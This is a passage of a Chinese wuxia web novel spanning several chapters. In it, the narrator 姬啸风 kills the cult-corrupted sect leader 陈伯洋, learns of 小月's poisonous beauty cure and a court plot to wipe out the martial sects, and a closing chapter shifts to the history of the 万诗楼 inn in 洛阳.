我的愤怒又多了几分,我说:“你想让我来找你,一份飞书即可,为什么要杀那么多无辜人的性命?” 陈伯洋看着自己的双手,说:“我也不想。可是我控制不住,我见到有人便会想到他们死的样子。” 我说:“那现在呢?你是不是也想看看我死的样子?” 陈伯洋阴冷地目光刺向我,笑道:“你一定要死。必须死在我师弟的坟前!”说罢,他撩起海皮刀向我扑来,用的却不是摩诃钵特摩咒里的武功,而是正宗的括苍派刀法。 我拔出血芒一剑挡下。刀剑交错,迸发出无尽的力量,将我们两个人都震退八尺。 我说:“括苍派的刀法未必可以取胜。” 陈伯洋冷冷笑道:“那是因为你从来没有试过我刀法的厉害。”说罢,他再次跃起,人未到,刀风已经扑面而来。 我用剑抵挡,却骤然发现陈伯洋的刀如镜中水月,虚幻不可捉摸。一息间,陈伯洋已砍出七刀,刀刀皆是虚招,每一次格挡都被他虚晃过去。 我大感震惊。此时的陈伯洋内功已非常人能比,身形步伐也变得快如鬼魅。我招招不能刺中他真身,转眼间,我只觉得四周有七八个陈伯洋的影子,头顶上竟同时落下十几道金光。 才不过刚刚交手,我竟然已经陷入了死地。 看来陈伯洋的话并非吹嘘,虽然眼前的这些都是虚影,但却又有谁敢懈怠?因为在这样炫目的刀光之下,只要有一刀真真切切地砍在我的头顶上,我绝没有活着的可能。陈伯洋爆发出自信而疯癫的笑声。 “帮主当心!”明少忠在暗处大声提醒。 这看似厉害的招式却又一个极大的破绽。因为无论我眼前有多少道影子,但只有一处是真实的。 真实的招式可以杀人性命,但虚幻的影子却可以穿过去。 至于是虚是实,便要听天由命了。 我闭上眼睛,向左一闪,轻巧冲出了陈伯洋的包围。 陈伯洋大惊,道:“你竟然破了我的刀阵。” 我长长舒了一口气,心想,看了上天依旧站在我这边。陈伯洋恶狠狠地瞪着我,似乎对我破了他刀法的行为感到十分震怒。 幻想破灭的瞬间,人的 情绪总会集中爆发。尤其是向陈伯洋这种疯癫的状态,我的举动会让他彻底地疯下去。 陈伯洋将海皮刀抛出,深深嵌入岩石。他双手交错,口中念着不知是疯话还是咒语。总之,片刻之虞,周遭阴风骤起,天目山如坠寒冬,隐约间有雪花亦或是冰晶飘落。 陈伯洋皴裂的身体开始略微膨胀,随着身体的膨胀,那些原本已经结痂的伤口渐渐崩裂。我仿佛听到了他皮肤裂开时发出“滋滋啦啦”的声响,让人不禁觉得浑身发疼,毛骨悚然。 那些被撑裂的皮肤沁出血,血很快冻结成冰晶,然后皮肤上的裂痕继续扩大,继续沁血,继续凝结......很快,身形枯槁的陈伯洋变成了一个形似司徒清尘一般的胖子,这时,他的身体上却布满了很多的裂痕,几乎到了体无完肤的程度。 忽然,陈伯洋的身后闪烁起红光。 一朵巨大的莲花,红色的莲花,缓缓地盛开...... 我正惊骇之际,那莲花竟将陈伯洋整个吞噬了。随即,我便看见漫天遍地都是一道又一道骇人的红光,从那朵巨大的血莲花冲迸射出来。 我将血芒剑提起,以快剑划成剑盾,将那些诡异的红光挡在身外。 剑快得已密不透风,但总有红光从不经意间露出的微微缝隙中穿过,射在我身上,便是一种深入骨髓的阴寒。 这才是练成了摩诃钵特摩咒的最终状态吗? 他的恐怖远远超乎了我的想象。 红光与红光相持,血芒剑慢慢的有些吃力了。它震荡得愈来愈厉害,我已经不知道被血莲花的红光打到了多少次。 或许是我本就练过摩诃钵特摩咒的缘故,那些红光射入我身体虽然令我浑身发冷,但却并未对我造成多么严重的伤害。 我想,这大概是我唯一可以取胜的办法。 我撤回血芒的剑势,反握在手,密如雨丝般的红色光芒穿过我身体。我感觉自己快要被冻僵了。 我跳跃起来,将部的力气聚在手掌之中,将血芒剑推入了那巨大的红莲之中。 “嘶!” 仿佛是利刃割破了血肉的声音。最后一道红光从血莲花里射出,穿过我的身体,我只觉得身流动的血液在那一刻凝固了,不再流动了。 我想要呼吸,但感觉自己的胸腔仿佛成了一块坚硬的石头,无法起伏。 我想要平稳地落地,可是双脚根本不听了使唤,无论我脑子里闪过什么样的轻功步伐,都没有办法使出来。 我才意识到,我已经被冻僵了。 我看到巨大的红色莲花像狂风吹散迷雾一样的消散。 我看见干瘪的陈伯洋跪在地上,一把猩红如血的剑刺穿了他的胸口。 我知道,他已经活不成了。 周围的树林中掀起无数声浪,就像是风吹过树林时的“飒飒”声一样的密,像是厉雷劈开石壁一样的响。 密密麻麻的人像暴雨将临时搬巢的蚂蚁一样,从山下的密林中向我涌过来。 在那些人的最前面,我看到了许多熟悉的面孔,他们来自各大门派,都曾是这些年里与我有过一面之缘或者是数次交锋的人。但这些人里,有一个人我看得最为真切,最为清晰——他便是易小心。 他一身不染俗尘的白衣,一把星光夺目的宝剑。他跑着最前面 ,不停地向身后发出命令,像极了领袖群伦的武林盟主。 他终于得愿以偿了。 这时的陈伯洋仍旧一动不动地跪在地上,血芒剑穿过他的胸膛,却支撑着他的身体不会倒下去。 “你,你还是......赢了......”陈伯洋似乎恢复了神志,他嘴里含着血,却带着释然的笑,他说,“可,可是......我们......都输了。” 我想告诉他,打败他,就够了。 但嘴巴好像被被冻僵了,喉咙也被冻僵了,连一点声音都发不出来。 陈伯洋已到了油干灯草尽的时候,他的手却握住了血芒的剑柄。他看着血芒,又笑了:“想,想不到......你,你和他真的不同。你,你是对的,剑......无正邪,只是......人的心......不同。” “呲”的一声。血芒剑被陈伯洋从胸腔里抽了出来。血像瀑布一样地从他胸口向外喷洒,他紧紧地咬着牙,忍受着剑拔出胸腔的痛苦不发一声,只为了拼劲最后的力气将血芒剑扔回到我的面前。 然后。一阵轻轻的风吹过去,那个曾经手握金丝海皮刀的括苍派掌门,这个前一刻还在使出鬼泣神号的力量的陈伯洋,如深秋的枯草一般,被风轻轻地一扫,倒在了地上。 2. 或许,陈伯洋真的感悟到了什么。所以他才会拼了命把血芒剑扔回我面前。 可是,这又有什么用呢? 他死了。而我也只是在将死的边缘等待死亡的来临。他把剑掷还给我,难道还是希望这个时候的我能抵挡住远处浩浩荡荡而来的人群? 罢了。 我早已经不在乎了。 我想闭上眼睛,静静地等待死亡。但可悲的是,就连眼皮也被冻僵了。真是可悲,我明明已经坦然地接受了,但上天偏偏要我死都不可以瞑目。 人群已经离我很近了。我看见易小心的剑锋已经指向了我。他嘴上挂着志得意满的笑容,似乎在向我炫耀——他做到了。 八尺之外,易小心腾空跳起,手中宝剑发出刺目的光,晃得我眼睛一阵阵地疼。然后,他剑势陡转,剑尖儿直向我胸口。 也许,死亡并不怎么可怕。但若眼睁睁地看着自己是怎么死的,的确让我有些胆颤。 剑尖儿就要刺入我胸腔的时候,我忽然觉得自己身子向后移动了。 易小心的剑“当”的一声戳在地上。从石头缝儿里蹦出的火花溅到我脸上,竟然有了一点轻微的痛感。 易小心满脸惊讶,他迅速收剑,又向我刺出。 这一剑仍未刺中。 “什么人?!”易小心即惊又怒,挥剑大喊。 一阵郎朗的笑声传来,声音仿佛是从四面八方同时传来。又或许是什么人以极快的速度移动着,让人根本无法辨别方向。 忽然,红光一闪。 血芒剑仿佛是活了一样,自己飞到空中向着易小心当头劈下。 易小心大惊,慌忙挥起手中的剑。 “咔”的一声。易小心的剑竟被血芒生生劈成两段。他反应敏锐,一侧身,血芒从他脸前劈下,削落了一缕头发。 那笑声再次响起。我看不见身后,只感觉自己被一股手拖拽着,飞快地向后,向后,没入幽深的丛林。 第二百三十章 阴谋 ()我觉得自己可以活动的时候,已经距离天目山很远了。 青帝像跳大神一样的在我眼前跳着。他手上拿着血芒,一副得意洋洋的样子,似乎把血芒抓住手里这件事令他觉得兴奋。 “姬啸风啊,姬啸风。”青帝笑着,“你不会想到有一天这把剑会被我攥在手里吧。哈哈......” 我说:“把剑还给我。”身体还有些僵硬,想抢,却施展不出功夫。 其实就算我拼尽了力去抢也没有用,因为我根本就不可能是青帝的对手。 青帝将手掌附在我丹田处,我顿时感到一股温热的气流缓缓输入体内,在身运转一周后,血脉通常,僵硬的身子也渐渐柔软了起来。 “想要抢剑?”青帝笑着,“来啊!” 我盯着青帝,他亦死死地盯着我。突然,一只小虫从他眼前飞过,青帝眨了眨眼,我飞快出手,一把将血芒夺了过来。 还未来得及高兴,我只觉得手上一空,血芒剑竟然又回到了青帝手中。 “赖皮,赖皮。”青帝叫道,“这次不算,再来抢。” 我既觉得好气,又觉得好笑。 我说:“我没有兴趣跟你玩耍。把剑还给我。” 青帝摇头,啧啧两声,说:“连自己的剑都保护不好,凭什么去保护自己的女人。” “你说什么?!”他意指小月,令我倍感恼火。 青帝说:“你醉生梦死,可知你的女人此刻痛苦得要死。这一点,比起你爹,你可是差得太远了。” 小月痛苦得要死?! 我顿时紧张起来,忙问:“小月怎么了?” 青帝抬手一指,说:“为了你,她可是做了这天底下最艰难的决定。你此刻却浑然不知。” 我顺着青帝所指的方向看去,之间不远处的山脊上,一间简单的茅舍,山萃簇拥,轻雾环绕。 “小,小月在那里?”我狐疑地看着青帝。 青帝说:“在与不在,你何必问我。去看一眼便知道了。” 我急忙转身跑向茅舍。青帝在我身后大喊:“你的剑不要了?” 血芒很重要,但比起小月,却微不足道。 冲到茅舍边,我忽然感到一阵莫名的惶恐。我看着紧闭的茅屋,脚下却如同绑上了千斤的石头,怎么也抬不起来。 小月......她愿意见我吗? “怎么?不想进去了?” 不知何时,青帝又出现在我的身旁,他一只手蹭着血芒猩红的剑刃,血芒剑光忽然黯淡了许多,似乎对青帝的抚摸颇感厌恶。 我说:“她怎么了?” 青帝笑着:“为何你总是要问我?什么事不是自己看得最真切呢?” 我说:“我怕小月不愿见我。” “错了,错了。”茅屋的门忽然打开了,一个身材臃肿的女人从屋子里走出来。莫遣幽幽地叹了一口气,说,“我想她此刻应当是迫不及待地想要见到你。” “真的吗?”我不敢相信。 莫遣看起来很忧伤,她说:“自然是真的。她做了这么大的牺牲,不就是为了再见到你吗?” “前辈!” 忽然,屋子里传来小月的声音。那声音里充满了慌乱,似乎是隐瞒什么,所以要阻止莫遣继续说下去。 我箭步冲进屋子。 一股浓郁的草药味儿充斥着屋子,已经闻不到小月身上的香气。 床榻边,几层绿纱帐 垂下,小月的身影依稀可见。 “小月,你怎么了?”我小心翼翼地问,向前迈了两步。 “先不要过来!”小月忽然喊道。 我急忙停下脚步。透过纱帐,我看着小月缓缓地站了起来。她的手在抚摸着自己的脸,她说:“前辈。我真的已经好了吗?” 莫遣走进屋子,长长叹了一口气,叹息里尽是无奈。她说:“你自己觉得好了,那便是好了。” 小月笑道:“前辈医术高明,晚辈感激不尽。”说着,她一把掀开绿色的纱帐。 我登时惊愕了。 绿纱帐里走出的小月,皮肤白皙如水,眼眸清澈,美丽动人,甚至比我记忆里的模样更加美好。 美得像水中泡影,让我恍惚间觉得不真切。 我伸手去触摸,她的脸若羊脂一般。如此奇幻的景象令我兴奋,我说:“你,你好了?” 小月忽然皱起眉头,打开我的手,说:“看你这样子。难道我不好,你便不喜欢了吗?” “不!”我急忙否认,说,“不管你变成什么样子,我都喜欢。” 小月笑了,眼睛如月牙一般。 我痴痴地看着,不自觉地说:“只是......这样更好看一些。” 小月收起笑容,重重哼了一声,对莫遣谢道:“前辈大恩大德,小月没齿难忘。” 莫遣将小月扶住,摇了摇头,满脸忧虑,说:“我不知道这样是对还是错,你可是......” “前辈。”小月打断莫遣,说,“我无悔。” 莫遣又叹息了一声,身子一晃,竟是一脚踹在我身上,把我踹了一个踉跄。 “这世间的男人没有一个是好东西。”莫遣骂道。 我一头雾水,莫名其妙地吃了一脚,令我十分恼火。我还未发作,门外的青帝提着血芒剑冲了进来,指着莫遣骂道:“你个臭婆娘,我又没做什么,为何连我也骂了进去。” 莫遣冷哼道:“我几时骂过你?” 青帝说:“你说男人都不是好东西。不是连我也骂了么?” 莫遣哈哈地笑了起来,仿佛是听到了什么很好笑的笑话。她啧啧地扫量了青帝一遍,讥讽道:“我还是第一天知道,原来你还算个男人?!” 青帝脸憋得通红,几乎要把血芒剑比下去了。他哇哇叫道:“你,你......气死我了。你随我出来,我今日便让你见识见识,我到底是不是男人!” “两位前辈。”小月上前劝阻,说,“还有大事未了,何必再起口舌争执?” 青帝哼了一声,怒气弥漫在脸上,始终不能消退。 莫遣叹息道:“罢了,罢了。看在小月的面子上,我不与你计较了。” 青帝说:“应该是我不和你计较才是。” 小月笑道:“两位前辈果然都是宽宏大量的人。” 我小心翼翼的绕过莫遣,刚才莫名其妙的吃了她一脚,虽然气恼,但我深知自己奈何不了她,只得默默忍受。 况且......她还是小月的恩人。 我对青帝说:“把剑还给我。” 青帝一怔,将血芒藏在身后,说:“剑自然是要还给你的,只是现在不行。” 我问:“为何不行?” 青帝只笑不答。 我忍无可忍,出手去抢。一掌伸出,眼看着就要触到血芒,却抓了一个空,抬起头,却发现青帝已经到了茅屋的外面。 小月抓住我,说:“别闹了。 你跟我来看看这个人要怎么处置。”她拉着我,向茅屋外走去。 我充满了迷惑,不知小月到底要我处置什么人。 走出茅舍,绕过一块巨大的青石,一棵柏树下,一个人被五花大绑的扔在地上,嘴里塞着一团棉布,看到我,身子一缩,“呜呜”地叫了起来。 “明少忠?!” 我看着小月,问:“他怎么会在这里?” 小月冷冷地看着明少忠,说:“难道你不觉得好奇吗?为什么丐帮的弟子会深夜出现在武林盟?为什么武林盟那么多人都死了,偏偏他完好无事?为什么各大门派的人早晚不出现,偏偏在你杀了陈伯洋的时候出现?” 小月的三个“为什么”一出口,让我立刻意识到了阴谋的存在。 我看着明少忠。他神情慌乱,一直在极力地摇头否认。我蹲在他面前,拿下他口中的棉布,问:“为什么?” “帮,帮主。”明少忠惊慌失措。 我再问:“为什么?” 明少忠哭了起来,他抽泣道:“帮主,我是被逼无奈的。我这么做,他们便会杀了我。” 我问:“谁要杀了你?” 明少忠结结巴巴地说:“是,是易......” “易小心?!” 明少忠目光闪躲不定,始终不敢看我的眼睛。 “他说谎。”小月冷冷地说道,“易小心哪有这样的能耐,能够指使正四品的御前二等侍卫!” 御前侍卫?! 我惊讶地看着明少忠。明少忠一直摇头,否认道:“姑娘,你这是从何说起,我出身丐帮,怎么有那样的福分......” “这里有你和柳无风的往来书信,还有柳无风安插到各大门派的密探名册,这份名册里首当其冲便是丐帮明少忠,你还要狡辩吗?”小月将铁一般的证据扔在明少忠面前。 明少忠怔怔地看着,忽然哈哈大笑起来。 看着明少忠,我不禁脊背一阵发凉。明明我已经答应了他所有的事,却万万没有想到,他依旧会安插眼线在我身边。 “赵构!”我狠狠地念着这个名字。 “帮主。”明少忠像一只虫子一样扭动着向我靠近,他极力地仰着头,说,“帮主!皇上命我在你身边辅助,其实是有原因的。皇上知道您天性善良,害怕你被江湖上那些奸诈小人蒙蔽,所以才......” 他话没说完,小月狠狠的一记耳光已经打在了明少忠的脸上。 “到了此刻你还敢胡言乱语,你以为我的男人是傻子吗?!” 难道......不是吗? 我笑着,任凭凄凉的笑声从我胸腔里发出。小月抓着我的胳膊,说:“你别这样。这不是你的错。” 我甩开小月,揪住明少忠的头颅,问他:“为什么要这么做?!为什么?!” 明少忠惊恐地看着我,他颤抖的身子告诉我,他很害怕。但却不知道为什么,他始终不肯说出真相。 看着明少忠的样子,我有一次被怒火吞噬了理智。我伸手去抓血芒,却只抓到腰间雪银的剑鞘——这时候我才想起来,血芒此刻还在青帝手中。 我攥起拳头,向着明少忠面门上狠狠地砸了下去。眼看着明少忠的脑袋就要像西瓜一样被我一拳砸烂,千钧一发之际,忽然有人在我手臂内侧一点,登时令我半边身子麻木,失去了力道。 “别急着杀人啊!”青帝不知何时蹿到了我身旁,笑道,“杀了他,你便更没有可能知道真相了。” 第二百三十一章 威胁 真相是什么? 明少忠的心里仿佛有比死亡还要可怕的事情,令他无论面对怎么样都威胁都保持缄默。 我将他毒打了一顿,见效果不佳,便放弃了。 “这世上知道真相的人不止你一个。”我说,“你不说,未必柳无风不会说。即使柳无风也不肯说,我还可以去见赵构!” “皇,皇上的名讳......也是你可以说的。”明少忠不知哪里来得勇气,竟然开始质疑我。 我很生气,又将他毒打了一顿。 自从我抢劫了柳无风多年的贪墨。我便已经成了柳无风的生死敌人。 很久,我都没有出现在柳无风的面前。 但这一次,我必须要弄得清清楚楚。 青帝喊住我:“你要去哪?” 我说:“去柳无风府上。” 青帝呵呵笑道:“可你却未必能见得到他。” “为什么?”我不解。 青帝只是呵呵地笑着。小月说:“柳无风根本不在他府上,他现在在天目山。” 天目山?! 我忽然有种不祥的预感,我说:“他去天目山做什么?” 青帝说:“此刻各大门派的人都在天目山上。而天目山这时已如铁桶一般,水泄不通,难道你想不到皇上要做什么吗?” 我抽了一口凉气,说:“他,他要灭了整个江湖?!” 青帝叹了一声,说:“江湖气数已尽,存亡只怕也便在这两日了。” 这样的事真的要发生了吗? 当我听到青帝叹息的时候,始终不肯相信,脑子里闪过无数猜想,却都又一一否决。青帝的话应当是合理的,如果各大门派不涉及朝廷的权争,或许他们还有生存的余地。可是这些年里,他们的所作所为已经越来越被赵构忌惮,越来越让他不能容忍。 我说:“把剑还给我。” “你依旧要去?”青帝问。 我说:“不错。我不能眼睁睁看着那样的事发生。” 青帝呵呵笑道:“你从不被各大门派的人放在眼里,你也恨透了这江湖上的很多人,此刻他们都在天目山上。那些人的生或者死,值得你去冒险吗?” 我一时愣住了。 我从来没有想过这样的问题。 这些年来,无论做什么事,我都凭着自己第一时的冲动,无论对或者错,做了便做了,从来没有问过自己值或者不值。 当有人第一次问我值不值的时候,我竟然无法得出这个问题的答案。 青帝说:“等你想明白了再去吧。这把剑我先把玩几个时辰,等你告诉我答案的时候,我再还给你吧。” 青帝一纵身,带着血芒蹿入林中。随后,林中红光晃动,剑鸣如雷。青帝笑着:“好剑,果然是好剑。” 那一夜,我在茅舍外的巨石上坐了整整一个晚上。 任凭凄凉的晚风吹得我浑身冰冷、打颤、抽搐......小月手拿狐裘披风,挂着我肩头。我将披风扫下,说:“我不冷。” 小月说:“我们走吧。” 我问:“去哪里?” 小月说:“天下这么大,去哪里不行?这里本来就不属于你,你何必硬要趟这浑水?” 七年前,我走出雁荡山,像一条小鱼一样,一头扎进了这个混浊不堪的江湖。经历种种,各种纠葛,虽然都不是我本意。但在这江湖里游得久了,却对这片混浊生出了难以割舍的眷恋。 诚然我恨着这片江湖里的许多人。我恨他们的狡诈与无情,恨他们的利用与鄙视,但弥经一切,我越发期盼这这片混浊的江湖渐渐清澈。 纵使江湖人有错,但这个江湖并没有错。 我相信,在不久的将来,江湖中还会出现另一个白景行,另一个周望安。只要江湖还在,一切就都还有希望。 天色拂晓。 我对静静守了我一整夜的小月说:“再容我任性一次。此后,我带你浪迹天涯,不再去问这江湖上的任何事。” 小月看着我,眼波流动,黯然神伤,她一言不发,转身走进了茅舍之中。 片刻之后,青帝如魅影一样从树林中闪来。他抚摸着血芒剑,剑身如血,鲜艳欲滴,仿佛是八月里熟透的石榴。 它从来没有如此鲜艳过,仿佛是经历了一场神圣的洗礼,驱尽杀戮,洗去铅华,世间种种纷扰,错综复杂,皆不过是一个“义”字了却。至于值与不值,那只能用余生去衡量了。 “想清楚了?”青帝问道。 我说:“没有。但我还是要去。”爱心999 青帝说:“你可知道,你这一去可能不会改变什么,反而赔上自己的性命。” 我说:“陈伯洋已经死了,这个江湖上已经没有几个人可以取我性命。只要小月还在,我便一定会活着回来。” 青帝将血芒送到我面前,我接过血芒,它发出一声亲切的低吟。我知道,这一次,它终于不再是一把邪剑。 我说:“前辈。” “你叫我什么?”青帝对我突如其来的敬称颇感意外。 我说:“前辈,请你把小月留在这里。” “你不想她和你同去?”青帝问。 我说:“是。我担心她会有危险。” 青帝长叹,说:“那婆娘听了小月的话,不肯对你说实情,但我并不认为这件事可以瞒着你。” 何事瞒我?我十分疑惑。 青帝说:“小月在青崖谷绝壁身染剧毒,虽然莫遣精通医道,善于解毒,保住了她的性命,却保不住她的容貌。如今她恢复容貌,你可知是付出了怎么样的代价?” 我暗自吞咽口水,想知道,却又不敢问出口。因为我听得出,那一定是一种不菲的代价,或许是百般痛苦,千般牺牲才换来的。 青帝说:“世间有一种花名叫仙女蒿,花汁涂沫于体表,可让肌肤腐烂而后重生。那虽然是一种极为痛苦过程,但却可以让已经失去容貌的人重新变得美丽。” 肌肤腐烂而后重生。 我一阵钻心般的疼痛,不忍去想象那个过程。 然而,然而......还不至于这些。青帝又说:“这花虽然神奇,却有剧毒,是一种世上根本没有解药可以解除的剧毒。” “小月中了剧毒?!”我急切地问。 青帝说:“你放心。她不会死。” 我心稍稍安定了些,问:“那中了这种毒会怎么样?” 青帝直摇头,神情之中皆是惋惜。他说:“中了这种毒的人必须常年服用仙女蒿,一旦断药便会浑身痛痒,生不如死。但这毕竟是一种毒草,长期服用致使毒素积累于体内,虽不会立刻死亡,但最终又会大大缩减人的寿命。” 这便是小月的牺牲。 我怔怔的看着茅舍,心里如同刀割锥刺一般地疼。 这一切真的值得吗? 小月。 或许你介意,或许你只想让最好的你站在我面前,完美无瑕,但你可知美玉再美,一旦失去了也是一无所有,黑石再丑,能长久陪伴也是永恒。 青帝说:“小月不告诉你,她自有她的想法。我把这一切告诉你,是希望你不要辜负了她。” 我深深吸了一口气,说:“我懂。我只当自己从来没有听过。” 青帝微微一笑,绝尘而去。 天目山。 那时已被柳无风率领的十万大军围得水泄不通,犹如铁桶一般。一只鸟飞出山林,刚刚叫了两声,便有一只箭拉着破空的哨响将它射杀。 当真是连一只鸟都飞不出去。看来,这一次赵构是下了狠心,一定要将各大门派伏杀在天目山上,片甲不留。 我望着天目山下中军营帐,柳无风便站在营中的空地上,身影隐约可见。我一阵疾驰,在万人不及反应的片刻,站到了柳无风的面前。 柳无风看到,重重地哼了一声,侧过身去问:“你来做什么?我已身无分文,没有什么可供你抢劫的了。” 我知道,这次他是真的恨我了。对于一个视财如命的人来说,抢走他的钱财,甚于夺走他的生命。 我说:“我不是来抢钱的。我只是想问一句为什么。” 柳无风说:“什么为什么?这是皇命,是圣旨!” 我说:“他们不过是一些江湖人,区区几千人。为什么非要赶尽杀绝。” 柳无风说:“他们虽然人数不多,然一旦有了祸心,堪比几万雄师。当年管天下之祸恍如昨日,并非是要赶尽杀绝,不过是替皇上免除后患而已。况且......” 柳无风话说到一半,戛然而止,没有继续说下去。 我追问:“况且什么?” 柳无风依旧没有说。 我提剑横在柳无风的脖子上,这一个动作引得数以千计士兵将我团团围起来,步步逼近,只要我的剑再近半寸,他们便要以刀剑长矛将我碎尸万段。 柳无风很平淡,他说:“你已经劫走了我的金银,我也不在乎再送你一条性命。你欲取便取,量你也走不出这万人包围的中军大营!” 柳无风的威胁铿锵有力,句句无虚。但是,剑已经横在了他脖子上,他又说了这样的话。此时撤了剑,便意味着我受了他的威胁,认了怂。 我说:“你真的舍得和我同归于尽吗?” 柳无风思索片刻,放开嗓子喊道:“将士们。我死之后,决不可放过此人!” 第二百三十二章 终章(上) 1 宣和三年,五黄皆临太岁。那一年,大河决堤于恩州,黄水滔滔,至使灾民十万,流离失所,民不聊生。 这场天灾虽然很大,但却离我很远。因为我在洛阳。 西京洛阳城,万诗楼。这是我家祖上的基业。 当年太祖皇帝率领大军出开封城至陈桥驿,他手下躁动不安的小兄弟们在开封城外抓了一个年岁老迈的裁缝,逼着他连夜赶制了一件龙袍。 第二天,太祖皇帝黄袍加身,发动陈桥兵变,即位称帝。按照历朝历代史料的记载,但凡是在兵变中了解真相的小人物,大都会死得很惨。但太祖皇帝仁德,他惊叹龙袍做工之精湛,不忍杀害有手艺的人,便赏了那老裁缝一道免死金牌加黄金万两。 那个老裁缝就是我家祖上——民间有诨号“一针独绣”解大元。 我祖上不过是民间普通的手艺人。一场陈桥连夜绣龙袍的惊变,让他深深地体会到手艺太好是一件多么恐怖的事情。 人一旦有了名气,也就多了是非。 于是,年迈的老祖先弃技从商,在洛阳城中开了一家包子铺。然而,金子无论锻成什么都会发光,有能力的人在哪里都不会没落。经我家三代人勤恳劳作,本分经营,包子铺成了大酒楼。 传承百年不断,我家的生意越做越大。 我的祖父虽然是个商人,经营酒楼生意,但自幼喜欢舞文弄墨,结交文人。一次很偶然的机会,他认识了一个有理想有抱负但更重要的是很有文采的年轻人,他叫欧阳修。两人一见如故,在酒楼里推杯换盏,秉烛夜谈,写下了很多诗作。 欧阳修走后,我祖父万般失落,顿感天下之大,良友难寻,便在酒楼外建起了半面围墙,对外贴出告示留好诗一首者,免三日食宿。 从那以后,来写诗的人越来越多,他们有的人是自负才华,有的人想蹭吃蹭喝,但归根到底,都是在蹭吃蹭喝。看着一篇篇锦绣华章日渐书满墙面,我祖父的心情也越来越舒畅,他每日陶醉其中,免去的食宿费越来越多,不觉间家里的生意渐渐入不敷出。 无心插柳成荫,酒楼外的半面诗墙却名动天下,很多文人都以能在墙上留诗一首而自豪。 祖父死后。我父亲改变了经营策略,他将祖父留下的告示揭下,换上了新的告示食宿钱逾百两者,可留诗一首。 不过半年,我父亲不仅堵上了祖父多年的亏空,而且很快成洛阳城中最为富庶的人家。 天妒英才,精于营商的父亲,三十三岁时便身染重病离世。年仅十六岁的我,接过了家里的产业。父亲入土之后,我看着已经挤满了诗 作的围墙,再也没有一块完整的地方可以写字。 是扩建诗墙,还是将它就此封存,成了摆在我面前最为棘手的问题。 那夜,我坐在诗墙前,踌躇难定。为缓解焦虑,我数起了墙上的诗一共九千九百九十九首。我忽然灵机一动,撕下父亲留下的告示,在贴告示的地方创作了一首歪诗,凑齐了一万首。 第二天,我将家里传承了百年的“大元包子”的牌匾摘了下来,换上了一个崭新的牌匾——万诗楼。 或许是这个名字起得过于豪迈。 从那以后,我们家的生意越来越好了。 2 不知是从何时起,万诗楼竟然成了江湖人比武斗狠的地方。 我经过研究,认为是万诗楼前的那块方圆十丈的阔地为江湖人比武创造了良好的条件。从此,万诗楼有了新的卖点——我将二楼以上临窗的位子打成隔段,把它们变成观看江湖人比武的雅座。 诚然,占用这些雅座是有条件的——最低消费,白银三十两。 有钱的人还是很多的。 比如有一个很爱喝酒的人便每月十五都会光顾二楼位置最佳的那个隔段。他头发花白,长须飘飘,穿着一身白得像雪一样的衣裳,腰上悬着一把精美的宝剑,一个鎏金的酒葫芦总不离手,时不时的便会喝两口。 这个人到万诗楼很少点菜,更多的时候是在喝酒。从清晨到日落,他总是一个人落寞地坐在窗前,看着窗外刀剑交错,怔怔出神。 有一天,我忍不住好奇去问他,为什么你每个月的十五这天都要来这里喝酒? 他看了我一眼,说,酒在哪里都可以喝,他来这里并不是为了喝酒,而是在等一个人。 我说,万诗楼里来来往往的人我都记得,你能不能告诉我,你在等一个什么样的人,如果我遇见了,可以帮你转达。 他也许是喝醉了,眼神很迷离。他笑着告诉我,他等的那个人长什么样子,连他自己都不知道,要怎么告诉我? 这是一个很奇怪的人。但我知道,这世间但凡是有些本领的人,大都有些古怪。因此,从那一天起,我便开始关注这个人。 又一个十五。 那个人如期而至。 这一次他点了满满一桌子好菜,特地嘱咐店里的伙计要准备两副碗筷。 我猜测,他要等的人终于要来了。 但一天过去了。他等的人仍旧没有出现。那一天,我看见他的脸上写满了失落。 当时,有两个江湖人正在楼下比武。他俩一个自称“水神剑”,一个自称“火神刀”,两尊大神水火不容,打了整整一个下 午都没分出胜负。 就在日落西边的时候。我突然看见二楼的窗户上白影一闪,冲入两尊大神中间,一息之虞将两人打翻在地,伤重不起。 那白影举起鎏金的酒葫芦一番畅饮,骂了一句“为了一个女人大打出手,真给你们师父丢人。”说罢,绝尘而去。 那一天,我才听江湖上的人说,那个每月十五都到二楼隔段喝酒的人,竟是南派武林第一大门派青云派的掌门人。他叫白景行。 3 万诗楼外的半面围墙上镌刻着九千九百九十九首文人的诗作,它们各个精美绝伦,堪称当世神作。 此外还有一首比较特别,而且它特别引人注目。因为它字迹潦草,毫无文采,甚至是言语不通。 看过的人时常会问我,这首诗写到墙上花了多少银子? 我对他们的回答都是统一的,一文未取。 我说得是事实,因为那首诗是我写的。但他们都不肯相信,他们总喜欢揣测一些阴暗的内幕去解读原本光明正大的事实。因为事实无趣,他们觉得有内幕的解读更有意思。 但有一个人便相信了。 他叫陆石。 他出身书香世家。他的父亲是熙宁三年的进士,官至尚书右丞,宝章阁待制,文学造诣十分了得。 但陆石性格与其家势格格不入,他不爱文学,偏爱武学。最喜欢舞枪弄剑,和江湖人混迹在一起。他说,他看过很多门派的武功,他们有的刚猛,有的精妙,但都有一个共同的缺点,那就是不够快。 他说,他要研究一种很快的剑法,在瞬息之间打败敌人,即便是那剑法的招式粗鄙不堪,但只要不给对手拔剑的机会,他就赢了。 他说,他知道这种剑法很难,但他一定要练成这种剑法。 我为这个执着的同龄人深表敬佩。从那以后,我每月十五越来他万诗楼喝酒。他嗜武成痴,每次喝酒不过半旬,他就要提着剑在我家后院里舞动一番,让我点评。 其实,我根本不懂武功,看不出他的剑法是不是厉害。但每次他舞完剑我都会给他鼓掌。毕竟他每次来都付酒钱,我总不好拂了银子的面子。 有一天,并非十五。陆石却带着一个女子来了万诗楼。 那女子虽然面色憔悴,却难掩其惊艳的美丽,举手投足间都带着大家闺女的气质。 陆石对那女子十分冷漠。他刚迈进万诗楼便对着那女子一番吵嚷“那都是长辈的安排,我并不同意。” 那女子万般委屈,嘤嘤道“父母之命,媒妁之言,岂能不作数?” 听得出,这女子应该是陆石未过门的妻子。大概是陆 石对这桩婚事颇有异议,因此不愿接受。 陆石上了二楼,在白景行常坐的那间隔段坐下。那女子便跟随着,坐在了他的对面。陆石与其他的顾客不同,他是我的朋友,必须由我亲自接待。 我问陆石,今日想喝什么酒? 陆石说,百酿皆如水,唯有桃花醉。 我命人打了一壶桃花醉,刚放在桌上,陆石未动,那女子竟抢在手里,一饮而尽。很快,那女子便醉了。 将她安置在客房之后。陆石给我留下银子,让我好生照顾那个姑娘。 我问他,要去哪里? 陆石说,在家里是练不成绝世剑法的,他要去行走江湖,去见更多的人,学更多的武功。 4 陆石走了。 